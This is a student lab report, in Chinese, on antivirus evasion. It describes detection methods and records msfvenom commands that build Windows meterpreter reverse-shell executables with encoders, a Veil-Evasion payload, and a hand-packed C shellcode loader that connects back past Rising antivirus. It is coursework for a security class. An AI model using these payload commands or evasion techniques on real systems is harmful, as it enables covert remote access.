20145204《网络对抗》免杀原理与实践

20145204《网络对抗》免杀原理与实践

实践内容说明

(1)理解免杀技术原理(1分)

(2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(2分)

(3)通过组合应用各种技术实现恶意代码免杀(1分)

(4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

基础问题回答

  • 杀软是如何检测出恶意代码的?

主要是基于三点:特征码、启发式恶意软件检查和行为。

  • 免杀是做什么?

将恶意软件变身,使得查杀软件认不出来,从而免于被检测、拦截。

  • 免杀的基本方法有哪些?

针对杀毒软件的三种基本检测方法,我们可有以下几种方法实现免杀:

    1、改变特征码:使用不同语言或者不同软件进行编码,或者加压缩壳,加密壳。

    2、 改变行为:从通讯方式和操作模式两方面来说。

           1)就通讯方式而言,我们可以使用反弹式连接、隧道技术或者加密通讯数据。

           2)在操作模式上,尽量减少对操作系统的修改,将全部动作放在内存中,或者加入混淆作用的正常功能代码。

实践总结与体会

  • 关于Msfvenom

利用Msfvenom编码器对病毒加壳,并没有起到多大的作用,即使编译多次也无效果,可见Msfvenom中的编码器早已被各家杀软盯上了。

  • Veil-Evasion

Veil-Evasion在加壳比Msfvenom要好用一些(有可能是因为比较新),在实验中比较发现,其生成的病毒被查杀的概率小。

离实战还缺些什么技术或步骤?

1、被感染的靶机和我们不在一个网段,就不能成功。

2、伪装生成的exe,诱使用户自己点击开启。

实践过程记录

使用Msfvenom

1、在使用编码器之前,我们先查杀一下msfvenom直接生成meterpreter可执行文件,结果如下图所示,可以看到查杀率为53%(21/39):

2、使用msfvenom -l encoders 查看msf中包含的编码器如下图所示,我们在这里挑选两个,进行试验比较其生成的木马的被查杀率的区别。

3、使用shikata_ga_nai编码生成:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=10.43.48.166 LPORT=4444 -f exe > zyj_encoded.exe

查杀率并没有降低,结果如下图所示:

4、使用xor编码生成:msfvenom -p windows/meterpreter/reverse_tcp -e x64/xor ‘x00’ LHOST=10.43.51.205 LPORT=4444 -f exe > zyj_xor.exe,查杀率没有任何变化。

使用Veil-Evasion生成可执行文件

1、老师kali账号下已经下载好了Veil-Evasion文件,直接在命令行中输入veil-evasion打开。按照提示选择use,并选择相应的payload方式。这里选择的是49.如下图所示;

2、输入generate生成病毒,按照提示输入文件名称,结果如下图所示:

2、将生成好的文件上传到这里,看查杀率相比较Msfvenom确实提高不少。如下图所示:

半手工打造:C语言调用Shellcode

1、直接在linux中利用msf的meterpreter生成的文件以.c形式文件存储,得到机器码。命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.48.16 LPORT=443 -f c >c5204.c

2、改变这个.c文件,并编译,竟然锐减到10%,但是仍然没有用,此文件依然会被认为是病毒。

结果文件:

5、继续加工该程序,手工加一个壳,将特征码倒序,再次查杀,果真半手工的还收有效果的:

最后在自己电脑上实现杀毒并回连

1、瑞星杀软(版本24.00.63.33)杀不出:

2、打开瑞星防火墙,会提示可疑软件在上网,同意后,就能连上kali了。

2、回连成功,在kali上获得shell(中间虚拟地址ip发生变化,所以重新生成的exe):

原文地址:https://www.cnblogs.com/yayaer/p/6586855.html